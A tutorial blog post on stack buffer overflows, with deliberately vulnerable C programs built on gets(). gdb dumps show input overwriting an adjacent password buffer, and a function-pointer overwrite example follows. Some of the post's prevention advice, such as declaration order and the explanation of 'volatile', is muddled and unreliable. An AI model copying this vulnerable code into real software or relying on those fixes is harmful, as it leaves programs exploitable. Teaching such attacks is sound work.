Stack Buffer Overflow Attack
Back to Blog page
Inspiration from the code snippet, mentioned below
In the code snippet, Dave Plummer the genius behind the Windows Task Manager mentioned about __security_init_cookie() and how it can be essential to prevent Stack Buffer overflow attacks. To understand the Stack Buffer Overflow exploit, i gathered around few resources off the internet and compiled in one single blog. Hope you enjoy reading it..
SBO Attack in a nutshell
When a program is compiled, a space is created in memory (RAM) for storing data in variables declared in the program’s code, well basically a call stack. The stack comprises of data stored in variables as well as pointers to function calls as the program is read out.
In case of the code that is vulnerable to this attack, the contents of the variables stored in the memory can be modified. Then we can change the flow of the code either by modifying the contents of the data of the variable or make the variable point to a section in the stack where it can run malicious code, such as opening a shell to the remote system etc.
This example is based from the blog article by Rapid7
#include <signal.h>
#include <stdio.h>
#include <string.h>
int main(){
char realPassword[20];
char givenPassword[20];
strncpy(realPassword, "ddddddddddddddd", 20);
gets(givenPassword);
if (0 == strncmp(givenPassword, realPassword, 20)){
printf("SUCCESS!\n");
}else{
printf("FAILURE!\n");
}
raise(SIGINT);
printf("givenPassword: %s\n", givenPassword);
printf("realPassword: %s\n", realPassword);
return 0;
}
Take a look of the code mentioned above, this looks like a simple program. But notice that we have used gets function to store input to the variable “givenPassword”.
The reason why you as a programmer should never use the gets function in your code is; regardless of how lengthy your input string can be, it can store data from the input given to your program to the address of wherever the variable is allocated in the stack. Thus, it can overload the stack buffers incase if the size declared for the variable in the code exceeds.
We go in depth to explain how this exploit works:
Now, what you would do is, you would type a recurring character such as A or B repeatedly until it exceeds the size allocated to the variable.
(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0: 0x00000000 0x00000000 0x00400701 0x00000000
0x7fffffffdde0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffddf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffde00: 0x64646464 0x64646464 0x64646464 0x00646464
0x7fffffffde10: 0x00000000 0x00007fff 0x00000000 0x00000000
.
.
.
In the debugger output above, we can see the second line is one containing the contents of the input variable “givenPassword” that is ‘A’ repeated multiple times and in the fourth line we have the contents of the variable “realPassword” that is ‘d’.
In order to perform this exploit we have to the fill the contents of the fourth line with the input ‘A’ to “fool” the program. To do that simply you would type AAAAAAAAAAAAAAAAAAAAAA having more than 20 characters until you reach the length of the buffer for the second variable , it would also modify the content of the other variable “realPassword” which we are trying to compare the input variable “givenPassword”.
Lets try with 30 chars of ‘A’ ‘s
msfuser@ubuntu:~$ gdb example.elf
.
.
.
(gdb) run
Starting program: /home/msfuser/example.elf
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FAILURE!
givenPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
realPassword: ddddddddddddddd
Program received signal SIGINT, Interrupt.
0x00007ffff7a42428 in __GI_raise (sig=2) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdde0:
rip = 0x7ffff7a42428 in __GI_raise (../sysdeps/unix/sysv/linux/raise.c:54); saved rip = 0x40072d
called by frame at 0x7fffffffde30
source language c.
Arglist at 0x7fffffffddd0, args: sig=2
Locals at 0x7fffffffddd0, Previous frame's sp is 0x7fffffffdde0
Saved registers:
rip at 0x7fffffffddd8
(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0: 0x00000000 0x00000000 0x0040072d 0x00000000
0x7fffffffdde0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffddf0: 0x61616161 0x61616161 0x61616161 0x00006161
0x7fffffffde00: 0x64646464 0x64646464 0x64646464 0x00646464
0x7fffffffde10: 0x00000000 0x00007fff 0x00000000 0x00000000
0x7fffffffde20: 0x00400740 0x00000000 0xf7a2d830 0x00007fff
0x7fffffffde30: 0x00000000 0x00000000 0xffffdf08 0x00007fff
Here we can notice that the variable content for givenPassword (mentioned in the second line) is filled with A’s and the rest of them has gone to the buffer (mentioned in the third line) but it is not sufficient enough to fill the fourth line containing the contents of the variable realPassword. So lets try with 40 A’s
msfuser@ubuntu:~$ gdb example.elf
.
.
.
(gdb) run
Starting program: /home/msfuser/example.elf
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FAILURE!
givenPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
realPassword: aaaaaaaa
Program received signal SIGINT, Interrupt.
0x00007ffff7a42428 in __GI_raise (sig=2) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
.
.
.
(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0: 0x00000000 0x00000000 0x0040072d 0x00000000
0x7fffffffdde0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffddf0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffde00: 0x61616161 0x61616161 0x64646400 0x00646464
0x7fffffffde10: 0x00000000 0x00007fff 0x00000000 0x00000000
0x7fffffffde20: 0x00400740 0x00000000 0xf7a2d830 0x00007fff
Here we can see that on the fourth line, some A’s have filled which we can see in the output as shown above, but still not sufficient to fool the comparison.
What we did so far?
20 A’s has filled givenPassword
12 A’s has filled the buffer in between
8 A’s has filled realPassword
Now we need 12 more A’s in the realPassword, in order to successfully exploit the program
msfuser@ubuntu:~$ gdb example.elf
.
.
.
(gdb) run
Starting program: /home/msfuser/example.elf
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SUCCESS!
givenPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
realPassword: aaaaaaaaaaaaaaaaaaaa
Program received signal SIGINT, Interrupt.
0x00007ffff7a42428 in __GI_raise (sig=2) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdde0:
rip = 0x7ffff7a42428 in __GI_raise (../sysdeps/unix/sysv/linux/raise.c:54); saved rip = 0x40072d
called by frame at 0x7fffffffde30
source language c.
Arglist at 0x7fffffffddd0, args: sig=2
Locals at 0x7fffffffddd0, Previous frame's sp is 0x7fffffffdde0
Saved registers:
rip at 0x7fffffffddd8
(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0: 0x00000000 0x00000000 0x0040072d 0x00000000
0x7fffffffdde0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffddf0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffde00: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffde10: 0x61616161 0x00007f00 0x00000000 0x00000000
HOWEVER! The declaration of the variable matters the most. Take a look at the snippets below and the output it gave
#include<stdio.h>
#include<string.h>
int main()
{
char inputString[10];
char testString[10];
strncpy(testString, "cccccccccc",10);
gets(inputString);
if(0 == strncmp(inputString, testString, 10))
{
printf("SUCCESS\n");
}
else
{
printf("Wrong String\n");
}
printf("Original String: %s\n",testString);
printf("Test String: %s\n", inputString);
return 0;
}
Now, lets test the output for the code
root@e638e97c66f5:/home/test-user# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Wrong String
Original String: ccccccccccaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Test String: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
Here we can see that original string got appended with the additional buffers.
Let’s change declare testString before inputString and see the difference
#include<stdio.h>
#include<string.h>
int main()
{
char testString[10];
char inputString[10];
strncpy(testString, "cccccccccc",10);
gets(inputString);
if(0 == strncmp(inputString, testString, 10))
{
printf("SUCCESS\n");
}
else
{
printf("Wrong String\n");
}
printf("Original String: %s\n",testString);
printf("Test String: %s\n", inputString);
return 0;
}
Here are the results
root@e638e97c66f5:/home/test-user# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SUCCESS
Original String: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Test String: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
As we can see the buffers got populated in the original string thus exploiting the code.
In Principle, the buffers get filled from top to bottom of the stack, hence overwriting the contents of all the variables that are declared later on.
Some caveats,
To prevent getting the value changed of the variable make sure of two things:
- Always declare the variables where input strings are stored, then declare the other variables containing the data
- When using strncpy command to copy the strings, ensure to keep the size bigger than the length of the string2 that is getting copied to string1 i.e.
char *strncpy(char *string1, const char *string2, size_t count);
strncpy(testString, "cccc",10);
Here 10 i.e. count is bigger than the length of string2 (4). Hence rest of the empty string will be just escape chars.
If we use a similar strategy, we can change the content of the variable in order the code to point to a function call.
We use the following code to demonstrate how we can essentially change the flow of the code, by making the code make a function call that is not intended to do.
Code obtained from:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
In this case, we want to make the buffer overflow in such a way that the function “win” is called.
How can this be achieved?
volatile int (*fp)();
Here we have a function prototype defined such a way that the call to the function pointer can be manipulated by overflowing the contents of the buffers of the stack. Because of using the keyword “volatile” we can essentially make the function call to our targeted function i.e. “win”
The exploit is explained and performed in detail in this video: